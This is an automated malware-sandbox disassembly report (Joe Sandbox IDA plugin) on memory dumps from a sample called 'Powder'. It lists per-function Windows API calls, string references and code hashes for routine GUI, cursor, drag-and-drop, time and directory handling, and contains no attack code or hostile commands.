GETSELECTEDCOUNT, xrefs: 00E8454F
SELECT, xrefs: 00E84606
SELECTINVERT, xrefs: 00E8463C
DESELECT, xrefs: 00E8465A
GETITEMCOUNT, xrefs: 00E844DE
FINDITEM, xrefs: 00E846DF
VIEWCHANGE, xrefs: 00E8472B
SELECTALL, xrefs: 00E845D3
ISSELECTED, xrefs: 00E84577
GETSUBITEMCOUNT, xrefs: 00E844F7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: b83c9655e7220e6beb36cbec77e8d765ad4e40a2b7adffadf60606396d91030c
Instruction ID: 1bc10523aa71676ce2bd6391de4afc8ed60cdeb45b589ae45812148e3ce6a39c
Opcode Fuzzy Hash: b83c9655e7220e6beb36cbec77e8d765ad4e40a2b7adffadf60606396d91030c
Instruction Fuzzy Hash: 92A170B02142129FCB14FF20C951AAAB3E5FF85314F146969F89A7B2D2DB31ED05CB51

Function 00E756C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00E756E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00E756EC
LoadCursorW.USER32(00000000,00007F00), ref: 00E756F7
LoadCursorW.USER32(00000000,00007F03), ref: 00E75702
LoadCursorW.USER32(00000000,00007F8B), ref: 00E7570D
LoadCursorW.USER32(00000000,00007F01), ref: 00E75718
LoadCursorW.USER32(00000000,00007F81), ref: 00E75723
LoadCursorW.USER32(00000000,00007F88), ref: 00E7572E
LoadCursorW.USER32(00000000,00007F80), ref: 00E75739
LoadCursorW.USER32(00000000,00007F86), ref: 00E75744
LoadCursorW.USER32(00000000,00007F83), ref: 00E7574F
LoadCursorW.USER32(00000000,00007F85), ref: 00E7575A
LoadCursorW.USER32(00000000,00007F82), ref: 00E75765
LoadCursorW.USER32(00000000,00007F84), ref: 00E75770
LoadCursorW.USER32(00000000,00007F04), ref: 00E7577B
LoadCursorW.USER32(00000000,00007F02), ref: 00E75786
GetCursorInfo.USER32(?), ref: 00E75796
GetLastError.KERNEL32(00000001,00000000), ref: 00E757C1

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: b9079e35c9d25788477adb75022335858beff707166976a768696f21206a5b1e
Instruction ID: 5771fff2007ecc6267162b53ea44d3b5b408f4b9e5ee09c85ae6ecc15b447c74
Opcode Fuzzy Hash: b9079e35c9d25788477adb75022335858beff707166976a768696f21206a5b1e
Instruction Fuzzy Hash: E9415371E04319AADB109FBA9C49D6EFFF8EF51B10B10452FE519F7290DAB8A400CE91

Function 00E5B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00E5B17B
__swprintf.LIBCMT ref: 00E5B21C
_wcscmp.LIBCMT ref: 00E5B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00E5B284
_wcscmp.LIBCMT ref: 00E5B2C0
GetClassNameW.USER32(?,?,00000400), ref: 00E5B2F7
GetDlgCtrlID.USER32(?), ref: 00E5B349
GetWindowRect.USER32(?,?), ref: 00E5B37F
GetParent.USER32(?), ref: 00E5B39D
ScreenToClient.USER32(00000000), ref: 00E5B3A4
GetClassNameW.USER32(?,?,00000100), ref: 00E5B41E
_wcscmp.LIBCMT ref: 00E5B432
GetWindowTextW.USER32(?,?,00000400), ref: 00E5B458
_wcscmp.LIBCMT ref: 00E5B46C

Part of subcall function 00E2385C: _iswctype.LIBCMT ref: 00E23864

Strings

%s%u, xrefs: 00E5B216

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 4005f4f9900a5d217ee03a3c9db1af6a5fb036b546f5cac038f476384bdf2096
Instruction ID: eed2ca7790c18c11d8d72df3ed14a356ee3a01b5e3c0270030d1bf7b634139a9
Opcode Fuzzy Hash: 4005f4f9900a5d217ee03a3c9db1af6a5fb036b546f5cac038f476384bdf2096
Instruction Fuzzy Hash: 64A1E371204716AFD718DF20C884BEAB7E8FF4435AF00591AFDA9E2191E730E959CB90

Function 00E5BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00E5BAB1
_wcscmp.LIBCMT ref: 00E5BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00E5BAEA
CharUpperBuffW.USER32(?,00000000), ref: 00E5BB07
_wcscmp.LIBCMT ref: 00E5BB25
_wcsstr.LIBCMT ref: 00E5BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00E5BB6E
_wcscmp.LIBCMT ref: 00E5BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00E5BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00E5BBEE
_wcscmp.LIBCMT ref: 00E5BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00E5BC26
GetWindowRect.USER32(00000004,?), ref: 00E5BC8F

Strings

ThumbnailClass, xrefs: 00E5BB79, 00E5BBF9
@, xrefs: 00E5BA92

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 13776ccb4bc8afdb1c4b73baac471af2bd83cd68a6dde857fb39a6efb40a33b6
Instruction ID: 5d85974b11f78a543960cac537e0b1ce6b2dc16a366cfed98b06c6c0eafd6904
Opcode Fuzzy Hash: 13776ccb4bc8afdb1c4b73baac471af2bd83cd68a6dde857fb39a6efb40a33b6
Instruction Fuzzy Hash: EB81C2710043099FDB05DF14C885FAAB7E8FF44319F14A86AFD89AA096EB34DD49CB61

Function 00E5B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00E5B915

Strings

HANDLE=, xrefs: 00E5B90E
[ACTIVE, xrefs: 00E5B902
[CLASS:, xrefs: 00E5B965
CLASSNAME=, xrefs: 00E5B952
[HANDLE:, xrefs: 00E5B921
[LAST, xrefs: 00E5B9C2
REGEXP=, xrefs: 00E5B92A
ALL, xrefs: 00E5B9A9
LAST, xrefs: 00E5B8DA
ACTIVE, xrefs: 00E5B8F0
[REGEXPTITLE:, xrefs: 00E5B93D
[ALL, xrefs: 00E5B9BB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: c2f8bbcf8818664debcaad1e2e39cc64fbdd809aa36f039cb9da5e4d3d6c93bc
Instruction ID: b76bc90b146759ea3d4f22485f06d16362dab07f3179adc7d4e0c528d3de7f7e
Opcode Fuzzy Hash: c2f8bbcf8818664debcaad1e2e39cc64fbdd809aa36f039cb9da5e4d3d6c93bc
Instruction Fuzzy Hash: 7331E174A44315A6CF14EB60DD43EEEB3E4AF10391F24253AFA41B10E6EF656E48C692

Function 00E5CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00E5CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00E5CBBC
SetWindowTextW.USER32(?,?), ref: 00E5CBD3
GetDlgItem.USER32(?,000003EA), ref: 00E5CBE8
SetWindowTextW.USER32(00000000,?), ref: 00E5CBEE
GetDlgItem.USER32(?,000003E9), ref: 00E5CBFE
SetWindowTextW.USER32(00000000,?), ref: 00E5CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00E5CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00E5CC3F
GetWindowRect.USER32(?,?), ref: 00E5CC48
SetWindowTextW.USER32(?,?), ref: 00E5CCB3
GetDesktopWindow.USER32 ref: 00E5CCB9
GetWindowRect.USER32(00000000), ref: 00E5CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00E5CD0C
GetClientRect.USER32(?,?), ref: 00E5CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00E5CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00E5CD69

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 719cf547eefefa6c0f67f62ce7441f5a89a958af206f31efe297c623604c9021
Instruction ID: 6f35e5b033b16afcb3c190267343b9c389c19ff68a41b122ab80277f7cef022b
Opcode Fuzzy Hash: 719cf547eefefa6c0f67f62ce7441f5a89a958af206f31efe297c623604c9021
Instruction Fuzzy Hash: 8E518E31900709AFDB20DFA9CE89B6EBBF5FF44709F100919E986B25A0D770A918CF50

Function 00E8A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E8A87E
DestroyWindow.USER32(00000000,?), ref: 00E8A8F8

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00E8A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00E8A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E8A9A7
DestroyWindow.USER32(00000000), ref: 00E8A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00E00000,00000000), ref: 00E8AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E8AA19
GetDesktopWindow.USER32 ref: 00E8AA32
GetWindowRect.USER32(00000000), ref: 00E8AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E8AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00E8AA69

Part of subcall function 00E029AB: GetWindowLongW.USER32(?,000000EB), ref: 00E029BC

Strings

0, xrefs: 00E8A894
tooltips_class32, xrefs: 00E8A96B, 00E8A9F9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 18bf5a8441ad83cf0893e07161e5afe26ec07f0824be566a4660d81f904de3c4
Instruction ID: 9b5a7744869e31804546dc458e2d72f88e8b0e16833528448e7af980ecd0511a
Opcode Fuzzy Hash: 18bf5a8441ad83cf0893e07161e5afe26ec07f0824be566a4660d81f904de3c4
Instruction Fuzzy Hash: 9771CC71144200AFE729DF28CC49FAB77E5FB88304F48056EF989A72A1D775E906CB52

Function 00E8CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

DragQueryPoint.SHELL32(?,?), ref: 00E8CCCF

Part of subcall function 00E8B1A9: ClientToScreen.USER32(?,?), ref: 00E8B1D2
Part of subcall function 00E8B1A9: GetWindowRect.USER32(?,?), ref: 00E8B248
Part of subcall function 00E8B1A9: PtInRect.USER32(?,?,00E8C6BC), ref: 00E8B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00E8CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00E8CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00E8CD66
_wcscat.LIBCMT ref: 00E8CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00E8CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00E8CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00E8CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00E8CDFF
DragFinish.SHELL32(?), ref: 00E8CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00E8CEF9

Strings

@GUI_DRAGID, xrefs: 00E8CE71
@GUI_DROPID, xrefs: 00E8CE26
@GUI_DRAGFILE, xrefs: 00E8CEA8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 9cf71027db8d38fb4812b31e183f3d5f26756839e79725816a122c89497c73df
Instruction ID: bbf96ef28d494fb18bfbfb5a8e6b07201417097820177bc7cd27edc0fef1c95f
Opcode Fuzzy Hash: 9cf71027db8d38fb4812b31e183f3d5f26756839e79725816a122c89497c73df
Instruction Fuzzy Hash: 88619E71108301AFC701EF50DC85D9FBBE8EFC9750F101A2EF699A21A1DB319A49CB62

Function 00E682D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00E6831A
VariantCopy.OLEAUT32(00000000,?), ref: 00E68323
VariantClear.OLEAUT32(00000000), ref: 00E6832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00E6841D
__swprintf.LIBCMT ref: 00E6844D
VarR8FromDec.OLEAUT32(?,?), ref: 00E68479
VariantInit.OLEAUT32(?), ref: 00E6852A
SysFreeString.OLEAUT32(?), ref: 00E685BE
VariantClear.OLEAUT32(?), ref: 00E68618
VariantClear.OLEAUT32(?), ref: 00E68627
VariantInit.OLEAUT32(00000000), ref: 00E68665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00E68447
Default, xrefs: 00E684DA

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 290b81d9fd603241708fd708c4715c5deda061ecf8f3ee227e1951a238253968
Instruction ID: bd79d368c09cb8804f0b7ee77eca218188f2161ad987ac9511e43c84279b6c11
Opcode Fuzzy Hash: 290b81d9fd603241708fd708c4715c5deda061ecf8f3ee227e1951a238253968
Instruction Fuzzy Hash: 1CD10271684615DFDB209F61EA84BAEB7F4BF04B80F14A256E415BB281CF30EC40DBA1

Function 00E849CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00E84A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E84AAC

Strings

GETITEMCOUNT, xrefs: 00E84B8E
ISCHECKED, xrefs: 00E84C2F
GETSELECTED, xrefs: 00E84BBC
EXISTS, xrefs: 00E84B15
EXPAND, xrefs: 00E84B5E
GETTEXT, xrefs: 00E84BFF
UNCHECK, xrefs: 00E84C88
SELECT, xrefs: 00E84C5D
CHECK, xrefs: 00E84ACC
COLLAPSE, xrefs: 00E84AF2
GETTOTALCOUNT, xrefs: 00E84A93

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: d2629ad6b8d6db172d136b0f24b1f80c6e6cc5c1ed6f0c9baa7938ea6637da42
Instruction ID: 2eea0054ed9cb3487069a018f26d31231480f5b24d9b45dbc9acf787dc0055db
Opcode Fuzzy Hash: d2629ad6b8d6db172d136b0f24b1f80c6e6cc5c1ed6f0c9baa7938ea6637da42
Instruction Fuzzy Hash: 379180B02047129FCB04EF10C451AAAB7E5EF94354F14A959F89A7B3E2DB31ED49CB81

Function 00E6E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00E6E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00E6E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00E6E33B
__wsplitpath.LIBCMT ref: 00E6E399
_wcscat.LIBCMT ref: 00E6E3B1
_wcscat.LIBCMT ref: 00E6E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E6E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00E6E43F
_wcscpy.LIBCMT ref: 00E6E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00E6E48A

Strings

*.*, xrefs: 00E6E445

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 2aa22f8b148252d79c1c305834fb33d64d8824ea687bacc9f135bc80a59d9ed7
Instruction ID: 383c015043571ddb59c90398241e87f6ad0f4e031b1204a2a5ccc6d38b28f0c8
Opcode Fuzzy Hash: 2aa22f8b148252d79c1c305834fb33d64d8824ea687bacc9f135bc80a59d9ed7
Instruction Fuzzy Hash: 736188B6504305AFC710EF60D84499FB3E8FF88354F04991EF999A72A1EB31E945CB92

Function 00E023F7 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00E01F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E02412,?,00000000,?,?,?,?,00E01AA7,00000000,?), ref: 00E01F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00E024AF
KillTimer.USER32(-00000001,?,?,?,?,00E01AA7,00000000,?,?,00E01EBE,?,?), ref: 00E0254A
DestroyAcceleratorTable.USER32(00000000), ref: 00E3BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E01AA7,00000000,?,?,00E01EBE,?,?), ref: 00E3C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E01AA7,00000000,?,?,00E01EBE,?,?), ref: 00E3C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00E01AA7,00000000,?,?,00E01EBE,?,?), ref: 00E3C04B
DeleteObject.GDI32(00000000), ref: 00E3C05D

Strings

h, xrefs: 00E0256F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: h
API String ID: 641708696-1717268160
Opcode ID: f3959ecea8bfef64e74c89380ff3fc84f05a4aa498be6ed11a04db561e0a255a
Instruction ID: 8bd8c3bbc40fea8ed95d9843e24b2d49b7de4157b627b4f3761db401da187ad6
Opcode Fuzzy Hash: f3959ecea8bfef64e74c89380ff3fc84f05a4aa498be6ed11a04db561e0a255a
Instruction Fuzzy Hash: 0B61CD31104650DFCB299F15DD4CB2A7BF1FB4031AF20A52EE69276AA0C372A8D5DF91

Function 00E6A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00E6A2C2

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00E6A2E3
__swprintf.LIBCMT ref: 00E6A33C
__swprintf.LIBCMT ref: 00E6A355
_wprintf.LIBCMT ref: 00E6A3FC
_wprintf.LIBCMT ref: 00E6A41A

Strings

Line %d (File "%s"):, xrefs: 00E6A336, 00E6A34F
Incorrect parameters to object property !, xrefs: 00E6A39E
Error: , xrefs: 00E6A3C4
"%s" (%d) : ==> %s:%s%s, xrefs: 00E6A3F7
"%s" (%d) : ==> %s:, xrefs: 00E6A415
^ ERROR , xrefs: 00E6A391

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

